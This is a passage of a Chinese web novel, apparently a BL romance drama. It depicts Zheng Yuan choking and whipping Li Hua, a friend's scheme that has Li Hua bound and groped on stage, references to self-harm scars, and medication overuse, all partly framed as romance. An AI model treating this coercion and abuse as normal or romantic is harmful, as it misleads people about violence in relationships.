“我想让郑源把李华带到这里来。”傅一青喝了一口酒，赤裸地看着他，“可以吗？”
樊瑞只看着他的脸，伸手摸了摸他的唇角，“上次的问题你还没回答我，为什么这么针对他们？得罪郑源我没有好果子吃。”
傅一青走到舞台边坐着，“你怕了。”
“我只是好奇。”樊瑞也坐下来，“他得罪过你？”
“没有。”
“你讨厌他？”
“不讨厌。”
“那是为什么？”
“没有为什么。”傅一青扭头看他，“因为我想要钱，你会给我吗？我要很多钱，很多很多钱。”
樊瑞说：“我可以给你钱，但我不能给你很多，除非你和我在一起，我这个地方都可以送给你。”
傅一青笑了一声，“我说过，我不会和你在一起的。”
“那个人就那么让你喜欢吗？”樊瑞站到他面前，“你为他做这么多，是不是太傻了？”
“就那么让我喜欢。”傅一青看着他笑，语气还是温温柔柔的，“不然在你刚才摸我的时候我就已经把你那两根手指头剁下来塞到你的嘴里了。”
樊瑞嫉妒又痛苦，他操了一声，“可以，我有什么好处？”
“没有了。”傅一青摇头，“你不是喜欢我吗？”
“我喜欢你就要被你这么利用吗？”他气的口不择言，“视频也不是我让你发我的，你不怕我公布出去？”
傅一青只是看着他，片刻后笑了一下，站起来要离开。
樊瑞看着他的背影，又控制不住的追上去，拉着他：“傅一青，我……”
傅一青看着他，他很懊悔：“对不起……我刚刚是气昏了，我……”
傅一青说：“没关系，但是我不想动手了，你能扇自己一巴掌让我解气吗？”
樊瑞的邀请函发到郑源手里的时候他并不想带着李华一起去，他可知道那是什么不正经的地方，就算没有太不正经，但也不正经，更何况李华也不会跟他去，他烦自己烦得要死，看到他就不愿意吃饭，导致现在俩人连吃饭都是错开时间，更别提待在同一个空间。
不过这样也好，郑源冷静后也有点没办法面对他，事已至此他已经看开了，没有任何办法，就这么耗着吧，总会累的，累了就好了，他已经彻底不奢求什么喜欢了，只四个字，人在就好。
人家就好了。
器材室，李华躲在角落里和傅一青打电话。
“我最近都不能再见你了，郑源像疯了一样跟踪你。”
尽管两个人闹到这个地步，他还是在坚持不懈的揪他背后的人是谁。
“我知道。”李华说：“抱歉，连累你了。”
“朋友嘛。”傅一青懒洋洋地，“你说他不会再管你了？”
“嗯。”
“不可能。”
“什么？”
“你想不想知道他是不是真的喜欢你？”
李华抿唇：“不想。”他说：“跟我没关系。”
“关系大了。”傅一青笑起来，“如果这招有用，一次，他就不会再纠缠你了。”
李华担心起来，“万一没用呢？”
“不会没用。”傅一青笑着，“你高估他的忍耐力了。”
郑源在学校里很少和李华接触，尽管两个人还是同桌，却避嫌避的厉害，楚河汉界的非常明显。
王玉代被怼过一次后也很少不长眼的凑上来了，青少年的娱乐总是上头的快，换的也快。郑源却发现李华开始频繁地往外跑，这个往外跑是指他以前一天也不出教室几次，除了吃饭和去厕所，能待在教室学习就学习，而不是像现在，几乎每节课下课都要出去。
郑源知道他去了器材室，但器材室没有人，只有他自己猫在角落里给人打电话，有时候是父母，有时候是他那个朋友，有时候还只发短信，不说话，让站在门外的郑源一头雾水，干着急。
闯进去过，被李华又骂又打的赶了出来，仿佛进的不是器材室，是卧室。
郑源烦的要命，看他又一次出去，也跟着出去。
尽管每次都没收获，但他还每次都要跟。
但是这次没有空手而归，他眼睁睁看着有个短发女生，走到他旁边，推开器材室的门，进去了。
郑源眼都瞪大了，什么意思？他的手握在把手上，猛地推开，俩人已经抱在一起，就快要亲到一起了。
“你他妈干嘛呢？！”郑源怒吼，一巴掌拍的体育架子直晃荡。他大步走过去抓着俩人的肩膀把他们分开，眼睛几乎要瞪出来，火烧的脑子一片空白，他抬手就要打，李华仰着脸看他，目光非常平静，郑源再看女生，女生也没什么反应，郑源气笑了：“耍我呢？”
“不是啊。”李华说，拉过女生，一口亲在她的唇角上，“我说了我喜欢的是女生，逗你干——”
郑源掐住了他的脖子。
李华掰着他的手踹他，女生也拉他：“放开他！他是我男朋友！放开他！”
“你男朋友？”郑源死死地盯
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着李华，眼里的痛苦成为了痛恨，他感到可笑，愤怒，甚至是恶心，“李华，这是你又新想的折磨我的方法？”
李华快被他掐断气，郑源逼近他，想起郑玉安说，弄死个人也不过只是赔几十万的事儿，又不是赔不起。郑源的青筋凸起，他是真气到极致了，甚至感到不解：“你为什么能这么狠？为什么？”
他松开手，李华跌坐在地上，女生扶着他，郑源冷冷地看着他们笑了。是啊，无论李华是真喜欢她，还是专门找人气他，他不都当着自己的面亲她了吗？这难道也是别人挑唆、别人逼着他干的？郑源算是明白喜欢和不喜欢的区别了。
一如他当时玩游戏，要亲韩娇，以为自己能下定决心，却最终离她很近的说了声抱歉。
韩娇没有揭穿他，而是配合他将戏演了下去。
你说他怎么就这么贱呢，非抓着一个李华不放，韩娇不比他好多了？
郑源想哭，哭不出来。他抽了下鼻子，最后看了他们一眼，转身走了。
他走后，李华才抬头。
女生说：“你没事吧？你的脸色很不好。”
李华摇头，刚才的窒息感太恐怖了，让他缓不过来，却不感到害怕，他只是看着郑源狰狞的神情，想他会掐死自己吗？他不会。
他从他的眼神里看到了，一种絮状似的情感，柔软又飘渺。
“你哭了。”女生说，“很难受吗？要不要去看看？”
李华摇头，声音还没缓过来：“谢谢你。”
“没事，我也是拿钱办事。”女生将他扶起来，“那我就先走了，你自己慢点哈。”
李华蹲回角落里，擦了擦嘴。
这下好了，两个人应该彻底断了。
他感到轻松，却笑不出来，望着一处虚无发呆。
他好像没办法不伤害他。
回到家，一片漆黑，郑源不在家。李华疲惫地收拾自己的物品，无意间照到镜子，很深的一道勒痕，他当时真想杀了他。
李华后知后觉地发现自己胆子大，他虽然把死挂在嘴边，却并不敢死，他是家里的独苗，谁死他都不能死。
郑源不一样，他是孤儿，他……
“你要走了吗？”
李华吓懵。
他不是没在家吗？！
郑源刚喂完甜甜，出来就看到背着包准备走人的李华，突然感觉他可爱。
他好像就是这么天真的认为自己可以无条件无底线的包容他，任由他怎么作贱都无所谓，真应了傅一青那句话，越来越嚣张，越来越狂妄。
郑源心平气和地拉过餐桌边的椅子坐下，看着他。
“李华。”
“我真想让你祈祷之前发生的一切都是我的一场梦，是你无意犯的错。但我知道你不会。你怪我对你坏，但我对你好有用吗？你是贱骨头，也是硬骨头，敬酒不吃的。”
他拿出准备好的软鞭，摸了摸耳垂，“你不是恨我吗？想故意报复我、恶心我吗？那就来吧，我会十倍的还给你，直到你不敢——”
他没说不敢什么。
他只觉得千刀万剐，也是死得其所。
79.第 86 章
人做了就不能后悔。这是李华早就想清楚的，他做这一切是冲动和鲁莽吗？不是。他是想过后果的，最差的后果，不外乎也是这样吗？被他抽的瘫在地上爬不起来，他依然仰着头看他，疼但不意外。他早就知道郑源不会改，也不会收手。只是喜欢着自己的时候伪装了起来，不喜欢的时候，就像以前，像现在。他总不会把自己打死，但他会对自己失去兴趣。鞭子落在身上的时候并没有特别疼，只是每一鞭都极具欺辱，这欺辱是阶级、是差距、是鸿沟。李华不服输、也不认输。没有了郑源以喜欢自己为名义的好，他也不会再狠不下心。暧昧远比绝望更痛苦。
郑源停了。
两个人四目相对，李华从地上爬起来，身上的衣服被抽烂了，他哆嗦着，咬着牙，却一声不吭。他和郑源说：“我能走吗？”
郑源没说话，他转身要走，听到郑源说不能，就转了回来，有些瘸拐的去卧室。
挨了一顿鞭子，李华反而莫名其妙轻松的多，没有那么重的心理负担。他也不知道为什么，可能自己被逼疯了。他看着身上青青紫紫的痕迹，郑源还是手下留情了，按照以前打他的力道，他会爬都爬不起来。他换了身衣服，发了一秒的呆，突然将纸本撕碎泄愤似的扔进垃圾桶转身出去。
郑源只感到背后一瞬的疾风，头都没来及扭，就感到耳朵一阵剧痛。
李华死死地咬着他的耳朵，勒着他的脖子，血从唇角流下。
郑源弯身将他摔下来，倒抽一口凉气，耳朵都要被他咬掉。
李华打不过他，有很清醒的认知，在他又一次拿起鞭子时嗖地逃进卧室，反锁上门。
“你他妈——”郑源耳朵疼的不行，说话都嗡嗡的，摔门去医院包扎。
雷医生吓一跳，“怎么让咬成这个样子，你逗狗了？”
皮肉分离了，缝了几针。郑源疼的歪着头，还不能捂，恶狠狠道：“真他妈是条恶狗，操。”
两个人从认识到现在大大小小打过不少次，除却单方面的霸凌，郑源后面手下留情的多，真没在李华这儿占到多少便宜。毕竟他是气势唬人，李华是下死手，和死嘴。
“老生常谈的我就不说了，注意别沾水，隔一天来这儿换次药。”雷医生看着他，语重心长，“郑少爷，你好歹是个少爷，怎么总把自己弄的这么狼狈。”增加他的工作量。
他的同事只用半年给少爷们检查一次身体，他这个少爷倒好，从外科到内科，没有一个不挑战他医学知识的。
“那是我想的吗？”郑源现在是炸药，见谁都要怼两句，心里不舒服。
他憋屈，憋屈的很。倒不是因为李华打他而憋屈。而是怎么想怎么憋屈。他怎么能当着自己的面亲别人？还亲嘴？虽然没亲上，但要不是他在中间夹着亲错位了，不就是亲到嘴了？李华到底什么意思，为了甩掉自己下这么大的本？还是说他真的喜欢女生？毕竟他从头到尾都是这么跟自己说的。奈何郑源不信，他总认为只要够坚持、够努力，就会有奇迹发生。喜欢女生怎么了？他对他好，对他非常好，给他当狗，还能抵不过性取向了？
他始终不甘心，不甘心自己没有一点机会，不甘心李华真的对他没有一点感觉。
不喜欢自己干嘛对自己好？不喜欢他干嘛同意接吻搂脖子？不喜欢干嘛愿意抱一起睡觉？
“那不是你逼的吗？”突然有个小天使跳出来说：“你没听他说吗，他都说多清楚了，他反抗不了你，你确定真的是他不想拒绝吗？你就是在自欺欺人而已。”
“你放屁！”小恶魔也跳出来说：“他明明也很享受，就是在欲拒还迎、欲擒故纵罢了！嘴能骗人，身体反应还能骗人吗？！”
小天使不屑：“那也不是□□就代表喜欢啊，那多少个男的对飞机杯还□□了呢，他们喜欢飞机杯啊？”
小恶魔被噎住：“你他妈不是天使吗？说话怎么这么粗俗！再说飞机杯跟人能一样吗？接吻的时候他没伸舌头吗？！”
小天使也被噎住：“我是天使怎么了，谁说天使不能粗鲁？再说伸舌头，那是，那——你的舌头都伸到人家嘴里了！还怪人家有舌头——”
“够了！”郑源在心里咆哮，长出一口气，气急败坏地离开医院，临走时还没忘拿给李华抹的药膏。回去后放在了卧室门前。
甚至让郑源产生了一种错觉，好像总处在霸凌者的姿态强迫他人、威胁他人，才是对的，才是他应该做的。心软、善良、同情，都不是他该拥有的。他就该一直坏下去，让李华也一直恨下去，这样……他们就都解脱了、释然了。
总有些东西是自己得不到的，也不配得到的，上天很公平，他肆意妄为挥霍的，总会成为颈上的利剑，逼他仰起头。
郑玉安只是比他更早地参悟了，比他更早的吃过亏，吃过因果循环的报应，所以不奢求了。
他们这样的人还想要对方的怜悯，不就是想要太多？
“你这耳朵……狗咬了？”韩娇匪夷所思地看着他，像观察新鲜玩意儿，“好新奇的角度。”
郑源说：“一边儿去。”
樊瑞看着他：“你怎么还有闲心出来，李华背后的人找到了？”
郑源摇头，“不找了，没意思。”
“怎么就没意思了？”韩娇拉着他，“你不管了？还是你俩分了？”
郑源抖了抖烟，不想说。不想说是李华自愿接受别人挑唆的，也不想说那是李华唯一的朋友。找到了又能怎么样呢，还能让他俩关系缓和不成？还不如让他以为自己有了帮手，每天不重样的报复自己。郑源是不怕李华伤害自己，也不可能放手的。他只要别触及他的底线，拿自己报复他，郑源什么都不管。当然如果真这么干了，郑源就只能抽他了，像傅一青和郑玉安说的那样，把他治改，让他不敢再犯。
郑源知道，李华不傻，没人能唬住
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他，除非他自愿。
再说他也有军师呢。
“怎么又没见傅一青。”郑源问。
“你怎么比我还关心他。”樊瑞笑，“他最近忙，来的少。”
“早该这样了，自己有对象还在外面鬼混，也不知道他对象是谁，头上冒的绿光堪比北极光。”郑源简短评价，“真可怜。”
韩娇惊讶：“他有对象啊？男的女的？”
“男的。”樊瑞说。
韩娇目露鄙夷：“我就说你们男同性恋玩的最花，最没有道德底线了。”
樊瑞瞪着眼：“你异性恋好，你不还是守着个男同性恋？”
郑源挑眉，“跟我有屁的关系，我什么时候说我自己是男同性恋了？”
韩娇说：“不是我说的啊，他说的。”
思及此她又警觉了，目光移到郑源的下半身，“你该不会真是男同吧哥哥？”
“你。”郑源还没说，樊瑞捅刀，“实在不行你就承认吧源子，省得韩小公主一直等着你。”
“我他妈。”郑源无话可说，“李华是我就是，李华不是我就不是。”
韩娇惋惜地摇了摇头，“你顶着这个脸，唉，你们男同吃的真好。”
樊瑞说：“我给你找个比他还帅的。”
韩娇说：“就你那眼光，算了吧。”
郑源哈哈大笑，樊瑞气笑：“傅一青不好看吗？”
韩娇无辜：“好看啊，我没说他，我说你以前那些男朋友，丑的像外来物种。”
和朋友小聚让郑源得到片刻的放松，樊瑞便又问他一遍，要不要带李华过来。
郑源不同意，韩娇说：“你总这么着也不是个事儿，不如把他带出来跟大家见见面，接触接触你所在的生活环境，指不定他对你也能有新的改观呢？”
“能有什么改观。”郑源嗤笑，“印象更差了而已，再说，这也不是什么好地方，但他是好学生。”
樊瑞一口水喷出来：“我这怎么不是好地方了，你——”
韩娇握住他的嘴，给了他一个不用强行狡辩的眼神，“所以啊，就是周围环境坏，才能衬托出你的好，知道什么叫衬托吗？没有对比就没有伤害，你应该是目前为止他遇到过在他看来最坏的人，带他出来见见世面，他就会认为你是个好人。”
韩娇松开樊瑞的嘴，“信我的，在看男人这方面，我比你们准的多，你那个小对象李华，顺着来逆着来都不行，得横着来，我的意思是，你得让他服你，因为他看起来……挺婊的。”
郑源陷入沉思，缓了会儿才反应过来：“什么？”
韩娇甜美一笑，“清高。”
那是挺清高。
郑源还在犹豫，樊瑞加了最后一把火：“再差也不会比现在差了，万一有好转呢？总得什么方法都试试不是吗？”
那倒是。
郑源点点头，“我带他来。”
80.第 87 章
郑源好说歹说，李华都不愿意跟他去。郑源威逼利诱，李华稳坐不动。郑源想说我他妈——我他妈以后倒说不出来了。李华吃着饭，完全忽略他的气急败坏。难道说他不跟着自己去，就不让他吃饭了？那还是算了，他巴不得李华多吃点，他实在是太瘦了。他不去自己不吃饭了？那李华估计要拍手鼓掌了。郑源有些颓丧，最后他冷着脸说：“你不想去也得去。”
又是那个熟悉的霸凌者姿态，李华冷笑一声，像是早知如此，之前还装什么装。郑源有苦说不出，李华看着眼前的饭也食之无味，撂下筷子不吃了。这才吃多少？郑源又不愿意了，拉着他的胳膊非要他坐下继续吃，李华甩开他将饭推远。郑源心一横，牙一咬，捏着他的嘴就要灌，李华更是拼命反抗。一人躲一人追，一人强势一人反抗，就这么从餐桌纠缠到沙发。李华伸手拽郑源负伤的耳朵，疼的郑源大叫，摁着他的两只手压在头顶，人也压在身下。李华气喘吁吁、眼睛明亮又愤慨，郑源低头看着他，看他嫣红的唇，低头亲了下来。
李华瞪大眼，郑源闭着眼，吻的深情又温柔，柔软的唇相碰撞，舌尖像牛犊互舔，压的李华喘不上气，他听到郑源口齿不清地说：“李华，不要跟别人亲好不好？”
分开时还有一线银丝未断，像蛛丝。
樊瑞的地下演出厅装的很有东西，灯光若隐若现，很好地弱化了宾客，突出舞台。他们到时已经有一小部分人到了。樊瑞穿的很得体，在贵宾席等着他们，等郑源和李华走进，他第一眼看到的是李华。的确如韩娇所说，白白的、清秀的小脸，有些瘦，眼睛很亮，像个警惕的小兔子，却是薄唇，轻轻抿着，显得整体五官又不那么柔弱，而是冷硬，看起来是个好靠近，但不好说话的主。他友好地笑着给二人递上面具。
“这又是什么新花样。”郑源问。他一来就发现了，这儿的人都戴着面具。
“因为是首播，考虑到安全和隐私问题，戴面具好一些。”樊瑞朝李华笑了一下，“这位是？”
“李华。”郑源说，没有再更详细地介绍。
“你好，我是樊瑞。”樊瑞朝他笑笑，没有客气地伸出手，他料定郑源并不想李华和他们有更多的接触。
“你们到这么早。”韩娇踩着小高跟过来，还没见到她人，已经闻到了香气。她脸上也戴着面具，长睫毛一眨一眨地，看着李华笑了一下，“来了。”
李华点点头，看了眼郑源。
什么意思，这不是郑源女朋友吗？
噢，前女友。
他感觉有些别扭，不可察地往后退了一点儿，像往郑源身后缩了一下。
韩娇察觉到他的小动作，眼神里有些嘲讽地和樊瑞对视一眼，“那就坐吧。”
她挨着李华坐了下来，让李华感觉更别扭了，但他又不想表现出对韩娇的不适。毕竟两个人并不是很认识，而且他感觉韩娇是无辜的，他只是觉得他应该跟樊瑞坐一起，让郑源跟韩娇坐一起。他开始觉得这里有些闷，于是他隔着郑源看向樊瑞：“你好，请问洗手间在哪里？”
樊瑞连忙起身，“我带你去。”
两个人离席，韩娇看眼郑源，坐到李华的位置上，掀开他的面具，果然看到他面色不善。
“从刚开我就感觉你心情不好，怎么了？路上吵架了？”
郑源冷哼一声没说话。
韩娇掰着他的脸让他看自己，“不是，哥们儿，我都能接受你是男同了，你竟然能比我还难受？”
在她看来，男同就是姐妹。
反正都硬不起来了，还有什么值得注意的。
李华看到的就是这一幕，像两个人亲了。樊瑞也看到了，下意识挡在李华面前，此地无银三百两地：“郑源和韩娇没关系，就是……”
“我知道。”李华平静地说。
“你知道？”樊瑞惊讶，随即出了口气，让开了，“知道就好，吓死我了，我正不知道怎么解释。”
那边的韩娇还在好奇，她和私塾那帮朋友玩惯了，向来大大咧咧，没有什么男女授受不亲，就是夏天有人调侃：“韩小公主，腿这么漂亮。”趁机摸一把，她也只是翻个白眼，“没见过吧，再赏你摸一下。”
快走进时，樊瑞专门咳了一下，韩娇听到他们回来，瞬间坐直身体，要坐在自己的位置上，却差点一屁股坐到李华的腿上。
她站着，惊讶地看看他，看看郑源。
李华说：“我坐这里就可以了。”
“呃。”韩娇有点尴尬，看郑源一眼，郑源懒得搭理，拉着韩娇的手腕让她坐下。
于是变成了她夹在李华和郑源中间，她也有点坐不下去了，看着樊瑞：“咱俩换换。”
樊瑞心里憋着笑，面上不显，只当没听到。
于是她也站起来，“那什么，我去个洗手间。”
郑源摁着她的肩膀，“哪那么多事儿，坐。”
韩娇瞪他一眼，声音很小，像是怕李华听见，“你发什么神经。”
郑源冷笑一声，“正合某人心意，感谢我还来不及。”
李华也憋着火，他真不知道郑源喊自己来干嘛，还非要来，怎么，见他和前女友暧昧？纯粹浪费自己的时间。再想到还得坐这儿俩小时，他就坐不住了，坐这儿干嘛？当电灯泡？有这俩小时他写多少卷子？他自己玩得开心不就好了？什么癖好？他站起来就要走，郑源看着他：“你敢走试试。”
李华说：“你有病就去治病。”
他还真就走了。
郑源还没说话，韩娇连忙站起来拦他。她一眼就看出来了问题出现在哪儿，“李华，你误会了，我跟郑源已经不是男女朋友关系了，我们早就分了，很早很早就分了。”
“跟我没关系。”李华说，他们想怎么谈怎么谈，跟他说干什么。
“跟你没关系你为什么要走？”韩娇直直地看着他，“你不就是吃醋了吗？”
李华瞪大眼，匪夷所思地看着她，完全不理解这是哪里来的强盗逻辑：“你说什么啊？我吃谁的醋？你的还是他的？你们想怎么样就怎么样，跟我有什么关系，还非要别人坐旁边看着，什么癖好啊，心理疾病？”
韩娇看着他这样就心里一股莫名火，之前还忍着憋着，现在也不顾及了，“不是我就不明白了，喜欢就这么难承认吗？”
李华看着她，“是你喜欢吧。”
韩娇一噎，“是，我喜欢，但他不喜欢我，怎么了？”
李华冷笑一声，“没怎么，随便你喜欢。”
“李华！”郑源气的头疼，还是降低了声音，“先看演出，答应过的，有什么回去再说。”
“谁他妈跟你看。”李华也气的口不择言，“跟你女朋友看去吧，傻逼。”
韩娇也崩溃了，“我都说了我跟他早就分了，天呐，谁来救救我——”
李华平静道：“你也不用做出这样的姿态。”没人阻拦他们在一起。
韩娇一屁股坐下了，看着郑源，“你为什么非要喜欢一个这样的人？”
郑源只是看着李华，但是不知道这句话又戳到了李华哪句神经，他像被踩住尾巴跳起来的猫：“我这样的人？我这样的人怎么了？我这样的人比你们强完了！你看不起谁？！”
韩娇投降了，她双手合十膜拜了、佩服了。
李华看她这样只感觉恶心。
他深深地看郑源一眼，明明他才是被逼迫的，却在这里像个跳梁小丑。
屈辱至极。
郑源本该心软，却依旧冷着脸。
-李华，不要亲别人好不好？
-你放我走。
-不可能！我到底做错了什么你要这么报复我？是，我是错了，你打我骂我好吗？为什么非要拿自己报复我？你明知道我多喜欢你……”
-你只是占有欲而已，真喜欢看到我和别人在一起也会祝福。
-不可能！我不接受！这样你就得逞了是吧？！你就可以和别人在一起了是吧？！
-我跟谁在一起，都不可能跟你在一起。
-你非要这么折磨我，李华……你非要用这种手段报复我……
这时，有工作人员小跑到樊瑞身边，说表演的女演员联系不上了。
樊瑞操了一声，“那怎么办？！”
“让他去。”郑源点了根烟，看着李华，笑了起来，却只有冷硬的金色面具泛着光，“你不是喜欢作贱自己吗？我满足你。”
李华瞪大眼，不可置信地看着他。
“我操，你疯了吗？”韩娇下意识站起来拦在李华跟前，李华不知道那是什么戏，他们可知道。
“不是女演员吗？”韩娇说，“我去啊，正好我是女的。”
“就让他去。”郑源说不清自己是什么心理，报复似的不想让他好过。
李华推开了韩娇。
韩娇惊讶地看着他，恨铁不成钢，“他疯了你也疯了？你知不知道——”
“谢谢。但是我不需要你的好意。”李华说，更像是说不需要她的同情。
这是他和郑源两个人之间的事，不需要第三个人插足。
韩娇瞬间就放弃了，她最大的缺点就是总喜欢救他人与水深火热，而李华这样的人，就像天生来受虐的，不吃大亏永远不知道低头。
他和郑源，看起来是最不配，实际上最配的一对。
而真正的表演，也才正式开始
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。
时间过得很快，郑源一动不动，没人知道他在想什么。韩娇还是在给他机会，提出现在后悔还来得及，却被樊瑞制止，“韩大小姐，让你妈知道你在我这儿当演员，是不是想让她把我剁了？”
郑源只说：“你的演员消失的这么巧。”
樊瑞笑了笑，“总得给他点教训不是，这样他以后就不敢再气你了，看把你气成什么样了。”
韩娇震惊了，感觉自己天真的冒傻气，“你们……”
两个人都没搭腔。
倒不是早就串通好，而是郑源知道樊瑞的心思，没拆穿。
韩娇忽然觉得后怕，“你们真恐怖。”
李华真可怜。
化妆间，李华看着到膝盖的裙子叹气。虽然是他自己逞强要来演的，但是……工作人员安慰他，跟他说没什么紧张的，因为他一句台词都没有，只是被关在笼子里，当一个战败国的公主。
那身裙子也并不露骨，还有底裤，只是他一个男生穿裙子，怎么都感觉别扭。工作人员为难地看着他，李华还是默认了，不想再去牵连别人。再者说，在这儿当木头，也算喘口气，比在他们身边好得多。
他穿上裙子，连看都没敢看就匆匆要走，这时候突然有人摁住他，他大惊失色，被人捂住嘴，蒙上眼，双手反绑。两三个人架起他，将他的裙子剪的更短，底裤也换成了更短的，明明是到膝的裙子，却只能遮住大腿根一点。
李华挣扎不过，瞬间哭了出来。
他支支吾吾地发出声音，后悔的要死，更怕的要命。他被推进笼子里，而笼子，被推到了舞台上。
“还是穿的太多了。”傅一青在后台看着，抽着烟，“内裤怎么不扒了？”
“不敢。”工作人员解释：“万一出点事儿，不好交代。”
“怕有人忍不住在台上把他上了？”傅一青真诚道，“他还真挺漂亮。”
傅一青嘴角勾起，他可真的太期待了。
这出戏的主题是战争，内容是争抢与掠夺。战败国的公主被关在笼子里，像吸引无数禽兽到来的鲜肉。其他人在舞台上赤膊厮杀，配着刀光剑影的声音让公主害怕，他紧紧缩在笼子边，像无助的小猫。紧接着号角声吹起，瞬间万籁俱静。笼子被人打开，落魄公主被人拽了出来，像展示战利品似的在被迫走了一圈。郑源瞬间站了起来，樊瑞也站了起来：“这……这不是我们让演员穿的衣服！”
紧接着便听到胜利国国王说，敌国公主，赏给手下。
瞬间所有人的汗毛都炸开了。公主被人高高举起，扔向了其他演员。公主拼命挣扎着，泪打湿了黑布，浸湿了鬓角，与剧本上如出一辙。巴掌大的小脸激起人的凌虐欲。场上所有演员都是男的，接着他如同烫手山芋，片刻后又都大力地抱住了他，其他人更是争先恐后地希望沾一沾公主的光，一双双大手肆无忌惮地抚摸着公主裸露在外的肌肤，脸蛋、小腿、胳膊，尽管隐晦，依旧看的人激情澎拜。
郑源一脚把樊瑞踹的砸在墙上，樊瑞也连忙打手势结束了这个节目。灯光一暗，所有人员下场。还能听到宾客们不满的唏嘘。好在的是下一个节目很快上台，吸引了他们的注意。
李华失魂落魄地坐在化妆间。
郑源是跑来的，面具也扔了，站在他面前沉默。李华抬眼看他，已经换了自己的衣服，神情却依然破碎无助。他的眼神太可怜也太可悲，让郑源不忍对视。他压下心中不平的情绪，走到他面前，李华哭了。
钻石般清澈的眼泪掉下来，郑源抱住他，心口窒息。
李华本想拿起一切东西朝他砸去，可是他刚才用尽了全部的力气。他的手腕被勒出了痕迹。郑源心疼的抚摸，看到他手上三道愈合的刀伤，问他这是怎么了？
李华看着他，他的关心不作假，可这种关心远比刀伤更难愈合。
他很轻地说：“郑源，我竟然相信你是真的喜欢我。”
郑源瞬间瞪大眼，他的喉咙被掐住了，被他自己掐死了。他慌乱地解释，跪在地上扇自己，很快脸颊就红了。
李华看着自己手腕上的三道伤疤。
李华喃喃地说，“我总是会原谅你。我甚至怀疑过是不是划的不够深。原来是我拿错了刀。”
“还是只有你捅的，才是最疼，最能让我死心的。”
“郑源，心软会是一种喜欢吗？”
郑源被雷劈了似的僵在原地。
李华温柔地说：“没关系，我不怪你。”
他也不怪自己。他没什么好怪的，也不想去怪谁。
郑源浑身颤抖，听到李华温和地说：“回家吧。”
就像说他们这次真的没可能了。
81.第 88 章
樊瑞刚整修好的庄园被查封了，勒令整改期限是无期。背后是谁的手笔不言而喻。樊瑞几次试图联系郑源都不得而终，想起他从这里离开的表情，他也有些心虚。他拐弯抹角地想从韩娇那里打听，发现她把自己拉黑了，还从其他朋友那里知道了她新发的朋友圈：多行不义必自毙。
傅一青自那天结束后也消失的无影无踪。樊瑞想找他都没地方找，也不想找，他这次真是背着自己干了个大的，把他坑死了。好在这里只算是他的消遣，他就是有些良心悔过，有些对不住郑源，和李华。每当想起李华当时在台上的表情，他就感觉自己不是个东西，在深夜里有点难以入眠。
曾经动不动就聚在一起喝酒的三人组解散了，樊瑞心里多少有些感慨，喝了几天酒，还是扒拉出郑源的电话号码，认认真真地道了个歉。
但郑源显然没消气，把他的实体店一口气搞垮了好几个，全部是勒令查封，还有几个庄园被判定成所谓的违章建筑，要进行拆改。
这一套下来损失可不止几个数，而且他看起来还没罢休，让樊瑞焦头烂额，最终求爷爷告奶奶地见了他一面。
郑源看起来没什么变化，还是那个光鲜亮丽的小少爷，只是莫名沉默很多，让樊瑞感到他还是变了的，只是一时察觉不出他是哪里和以前不一样。
“我没有怀疑过你和韩娇。”郑源说，“我把你们当成朋友。”
事情走到这一步他够愚蠢，也怪不得旁人。本身他就脾气暴、不合群，无论是在学校还是在私塾都没朋友，有的也是围在身边的溜须拍马之徒。只是他待在私塾的时间长，身边人的背景也都大差不差，说话反而直白干脆，郑源就天真的不疑有他。
但是现在说这些没意思，事情已经发生，也是他默认的，对李华的伤害，他们每个人都跑不了。
郑源又有点想动怒了，但他不知道这怒气是从何而来，可能是看到樊瑞，也可能是每当想起就恨不得捅死那个傻逼的自己。
特别是当李华那样看着他，说出那样一番话。
他感到前所未有的窒息和崩溃，让他一时连哭都哭不出来，只感到自己可笑和悲哀。
上一次感到这样的痛苦，还是在父亲的葬礼上。
他那时觉得自己没人要了，在那天，再一次感受到自己的活该。
他深吸一口气，拿出了一瓶药，从里面磕出了几个白色小药丸，不喝水的吃了。
樊瑞看到那个名字皱了下眉，这是一款治疗心理疾病的药，能稳定情绪，但是副作用很大。
“你怎么吃这个？”樊瑞欲言又止，“这个药对身体危害很大。”
“没事。”郑源收起来，“是不是傅一青。”
樊瑞看着他，点点头。
又一次让傅一青猜对了，他说郑源早晚会发现是他。郑源将手机放在桌子上，樊瑞看到上面整齐划一的名称，全是他名下的产业。这是赤裸裸地威胁，郑源没什么表情，眼神却在示意他开口。
樊瑞叹息。
那天回到家后李华看起来和平常无异，甚至能和郑源坐在一张桌子上吃饭。郑源只是看着他，不说话。两个人的视线会撞，一个平静，一个避开。每当郑源避开李华的视线，李华都会垂下眼。他们仿佛回到了以前冷战的状态，但又都知道有什么不一样了。
郑源这次没说对不起，也没解释，更没有强制要求。
他就是再傻，也明白了李华那天最后一句话。那句不是告白却又像告白的话。心软是喜欢吗？他不敢回答，他不敢面对，他逃避的当起了胆小鬼。更何况还是在那样的事发生后，仿佛一直追寻的唯一一点希望，又被他自己亲手掐灭。平心而论，李华从来没有伤害过他，是他一直在不停地索取、掠夺，给他带来无尽的痛苦与伤害。李华坚持冷硬，他恼羞成怒，可李华坦然又真诚，让他无地自容，无脸面对。那是郑源第一次感受到的情绪，叫惭愧。
愧疚与自责来临的那一刻，让郑源拿头撞墙。他又想哭又想笑，只能眼眶干涩地做出一个扭曲狰狞的表情。李华喜欢他，或者喜欢过他，他应该以此为乐，沾沾自喜，更加不要脸的凑上去，可他不敢，他终于在这场单方面的追逐中感到汗颜。像是一种弥补，他什么都没再说，远离了李华的生活。
胡建国问李华，想住校还是想继续住在这里？
李华就明白了，郑源再一次放过他了。
这次应该是真的了。
李华说回学校吧。
他便从家里搬出去了。
他搬走时什么样，家里就一直维持什么样。郑源一直没来上课。后来老师把他们的座位调开了。
李华感到解脱。他望着窗外的阳光，知道寒冬过去，真正的明媚来了。
郑源去看了医生。他很痛苦，又无法排解。往常养成的习惯是找李华，抱着他，仿佛看着他，只要他在，自己撕裂的灵魂就能愈合。但那样巨大的创伤过后，真正在他心上留了一道疤，让他知道自己有多愚蠢，所有的一切，全都错了。
他是一个太坏的人，坏的他自己都无法接受了。
他自嘲似的跟医生断断续续地讲，医生怀疑他有躁郁症或者其他精神疾病，给他开了药。他拿着小药瓶说真的有用吗？医生说药只是辅助治疗，但有一定的精神寄托，或许也有一些心理暗示的作用，但总之，情绪不好时、不想给别人带来伤害时，可以吃，但是要少吃。
郑源没有少吃，有些苦的药丸滑进食道反而让他感到安定，好像这真是有用的良药。
